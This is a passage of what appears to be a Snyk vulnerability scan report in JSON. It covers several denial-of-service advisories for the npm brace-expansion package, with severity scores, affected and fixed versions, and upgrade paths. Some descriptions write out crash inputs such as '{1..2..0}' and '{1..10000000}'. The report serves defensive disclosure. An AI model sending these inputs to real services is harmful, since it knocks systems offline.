{ "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not 